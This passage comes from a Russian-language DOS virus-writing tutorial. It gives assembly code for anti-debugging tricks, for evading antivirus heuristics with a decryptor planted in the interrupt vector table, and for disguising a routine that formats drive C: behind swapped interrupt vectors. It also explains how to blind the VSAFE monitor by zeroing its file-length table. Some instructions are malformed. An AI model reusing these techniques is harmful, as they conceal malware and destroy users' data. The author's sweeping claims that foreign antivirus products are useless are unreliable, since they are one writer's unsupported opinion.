ситуация характерна, например, для отладчиков Turbo Debugger и CodeView, но AFD и Periscope на эту удочку не клюют. Программная реализация описанной ловушки может выглядеть следующим образом: ... mov ah,9 int 21h ; вызов функции вывода строки ... mov ax,ss ; сравнение стековых сегментов cmp ax,es:[30h] ; (предполагаем, что ES указывает на PSP) jne tracing ; сегменты не равны -- работа под отладчиком! ...tracing: ... ; реакция на трассировку Весьма эффективное средство защиты от отладки и дизассемблирования -- использование обработчиков трассировочных прерываний для динамической модификации кода. В следующем примере код программы расшифровывается обработчиком пошагового прерывания INT 1. ... xor ax,ax mov es,ax mov ax,word ptr es:[06h] ; сохраняем вектор прерывания 01h mov cs:int01seg,ax mov ax,word ptr es:[04h] mov cs:int01off,ax mov word ptr es:[06h],cs ; устанавливаем новый обработчик mov word ptr es:[04h],offset coder mov dx,offset msg pushf pop ax or ax,0100h ; устанавливаем флаг TF push ax popf nop ; зашифрованные команды: db 2Eh,09h ; mov ah,9 db 57h,21h ; int 21h db 06h ; pushf db 0C2h ; pop ax db 0BFh,0FFh,0FEh ; and ax,0FEFFh db 0CAh ; push ax db 07h ; popf db 0Ah ; nop mov ax,word ptr cs:int01seg ; восстанавливаем вектор 01h mov word ptr es:[06h],ax mov ax,word ptr cs:int01off mov word ptr es:[04h],ax mov ax,4c00h int 21h coder: ; обработчик int 01h push bp mov bp,sp mov bp,word ptr [bp+2] xor byte ptr cs:[bp],9Ah pop bp iret int01off dw 0int01seg dw 0msg db 'Try to trace me!',0Dh,0Ah,'$' ... Методы "одурачивания" эвристических анализаторов
Итак, чтобы воспрепятствовать эвристическому анализу собственного кода небходимо зашифровать тело вируса. Но эвристик может проанализировать процедуру и дешифровать основное тело, да еще и завопить что мол CRYPT.VIRUS. Делается все намного проще чем вы думаете. Так как эвристик обычно работает в сегменте в 64к, то первая же операция с данными за пределами сегмента приводит его в состояние легкого шока, а межсегментная передача управления сводит их с ума. Например: .model tiny .386 .code .startup org 100h mov ax,0F7ADh xor di,di mov es,di cld stosw mov ax,0ABD0h stosw mov ax,0FAE2h stosw mov al,0CFh ; в результате по адресу 0000:0000 образуется stosb ; программа дешифрации - lodsw/not ax/stosw/loop/iret xor ax,ax mov di,80h push word ptr es:[di] ; а вместо адреса int 20 мы и поствим ее stosw ; адрес, предварительно сохранив старый push word ptr es:[di] push di stosw push cs pop es lea di,_coded mov cx,(_end - _coded+1)/2 mov si,di int 20h ; вызываем процедуру дешифрации_coded: ; а это собственно тело программы. byte 0a0h,95h,0ffh,0e0h,70h,0fah,0b0h,0b0h,70h,0fah byte 045h,0b9h,0feh,0f1h,0e0h,4bh,0f6h,32h,0deh,47h byte 0ffh,0b3h,32h,0deh,7dh,57h,1fh,1ch,1eh,0dfh,1eh byte 1dh,5fh,1fh,1dh,51h,5dh,5fh,54h,0f2h,0f5h,0dbh_end: end Что же делает это маленький, но полезный кусок? Он создает в таблице векторов процедуру дешифрации, а затем вызывает ее. Кроме того есть два плюса - 1) затираем вектор int 1, что усложняет отладку в реальном режиме 2) используем для вызова безобидный int 20 - накалываем эвристик и тут.Можете изучить работу этой программки - она безобидна, просто печатает сообщение на экран, но тем не менее не опознается как зашифрованная. Какие же выводы мы можем сделать из этого? А такие: 1) Эвристик не может эмулировать всю память, в том числе системные области. 2) Эвристик не может эмулировать аппаратную часть. То есть если мы завяжем алгоритм дешифрации с одним из этих пунктов, то эвристик тихо и мирно "заснет". Кроме того можно переопределить прерывания. Например надо отформатировать диск (эвристический анализатор вряд ли среагирует, но тот кто будет смотреть вашу программу это заметит) Mov ah,7Mov dl,3 ;форматировать диск C:Mov cx,0Mov dh,0Les bx, offset bufferInt 13h Неправда ли подозрительно выглядит? Даже если вы не знаете, что делает функция 7 прерывания 13h, такого куска программы наверняка "закрадется" подозрение и захочется побольше узнать о функции 7. Какого же будет удивление, когда узнаете, что эта функция форматирует диск! Мне не раз попадались такие программы – я их просто стирал! Но бдительность может очень даже хорошо "усыпить" следующие: ........Xor cx,cx ; обнуляю CXMov ds,cs ; деляю сегмент данных равным CXMov ax,0700h ; в итоге в Ah,7 Al, 0Mov dl,3 ;форматировать диск C:Xchr dword ptr [0],[4Ch] ;заменяю содержимое векторов прерываний ; Int 0 = int 13h, а int 13h = int 0 ; прерывание int 0 вызывается при ошибке ; когда что-то пытаются поделить на ноль!Les bx, offset bufferDiv al ;делю на Al т.е. на ноль и тем самым ;вызываю прерывание 13h.........Xchr dword ptr [0],[4Ch] ;в конце все надо восстановить иначе ; система зависнет ......... С этим фрагментом программы уже придется немного помучиться помучится, а стало быть труднее распознать "вредоносную" его часть. Именно это и используют большинство вирусов. Я имею в виду не конкретный алгоритм (хотя встречалось и такое), а идею запутывания мозгов человека который пытается разобраться в логике программы. Ну и напоследок, прежде чем продолжить рассказ об антивирусах, я думаю стоит до конца рассказать о "глупости" резидентного сторожа VSAFE. В конце части про резиденты была приведена программа способная оставаться резидентно и при этом VSAFE молчал. Но можно сделать и хуже.... После того как я продемонстрировал эту идею нескольких поклонникам данного антивируса на примере у них "волосы встали дыбом". А идея простая до безобразия. Если честно меня очень удивляет почему нигде в хакерских журналах и переписках этого не было. Итак, VSAFE создает таблицы где хранятся длины файлов (и еще не знаю чего). Каждый раз когда вы пытаетесь запустить программу он (Vsafe) сравнивает ее длину с числом в таблице и если они различаются начинает "ругаться". Из этого следует нам стоит лишь пересчитать длину файла и записать полученное значение в таблицу. Но стоит ли это делать? Нет, достаточно обнулить значение таблицы (длина = 0) и Vsafe сам все пересчитает автоматически! Вот тебе и антивирус! В итоге на компьютере во всю будут гулять вирусы, а VSAFE будет молчать. Хуже того он будет ругаться когда вы попытаетесь вылечить зараженную программу. Длина файла изменится и Vsafe скажет, что она заражена вирусом – ерунда какая –то, неправда ли? Тем не менее факт остается фактом! Из всего этого следует одно важное правило: НЕ ПОЛЬЗУЙТЕСЬ АНТИВИРУСАМИ ИНОСТРАННОГО ПРОИЗВОДСТВА! Во первых потому, что за границей нет вирусов которые есть здесь! Во вторых антивирусы иностранного производства "глупы" до безобразия (один Vsafe, чего стоит). Зарубежные антивирусы не рассчитаны на российского пользователя – и это факт. Кроме того довольно проблематично получать обновления к иностранным антивирусам и это тоже "минус". Но и в российских антивирусах есть определенные недочеты. Поскольку я не занимался доскональным изучением DrWeb, Adinf и им подобным мне трудно судить о их недостатках в плане реализации тех или иных алгоритмов, но в плане пользователя я все же скажу пару слов: DrWeb до сих пор не полностью документирован. (в приложении А постараюсь примести пару таких команд) и такие вещи в антивирусах недопустимы. Adinf не работает с сетевыми дисками + иногда некорректно обрабатывает FAT32 (но последнее вроде исправили). При обращении к уплотненным дискам Adinf использует прерывание int 25h. Мне кажется стоило бы использовать встроенную функцию эмулирующую int 25h, поскольку если "посадить" вирус на 25h прерывания толку от Adinf будет мало. Но это еще надо проверить (кстати это идея! Вирус на int 25h). Иногда при работе в Windows 95 Adinf "виснет" при открытии диска – приходиться долго настраивать. В остальном же DrWeb и Adinf на сегодняшний день являются одними из самых надежных антивирусов. А совместное их использование практически гарантирует вас от заражения вирусом. Полностью же вы можете быть уверенны лишь тогда когда будете осторожны при работе с дискетами, принося их домой или институт. Файл сомнительного происхождения, а также различные "полезные" программульки приходящие по Fido, будите проверять не только через DrWeb, но и в ручную через Turbo Debuger или Hiew или аналогичный им. А так же будьте осторожным в обращении с компьютером, поскольку практически все неприятность случаются по неосторожности пользователей PC. Одни, например, из знакомых изучая MS DOS запускал все команды из учебника и смотрел что получится – команда Format оказалась роковой и пришлось потратить два дня, чтобы восстановить всю систему. А другой случай (самый страшный) произошел когда мне было лет 14, тогда одна моя знакомая решила потренироваться в сборке компьютера. Разобрала, а собрала неправильно и после включения в сеть сгорела большая часть микросхем. Также мне был известен случай, когда некто освобождая пространство на диске нажал F8 по ошибке выделив все каталоги – в результате полный крах системы. И таким примерам нет конца по этому будьте внимательны при работе с компьютером т.к. его "благополучие" зависит только от вас. Так же надеюсь, что это пособие не будет обращено во вред, так как писалось оно исключительно в познавательных целях. Знать вирус – значит уберечься от него. Если данное пособие поможет вам в этом, значит я постарался не зря, хотя на эту тему можно было бы написать не один том. Но тем не менее.... nbsp;nbsp; изnbsp; xor byte ptr cs:[bp],9Ahnbsp; nbsp; возможностьnbsp; |
|||||||
Так же в этом разделе:
|
|||||||
|
|||||||
|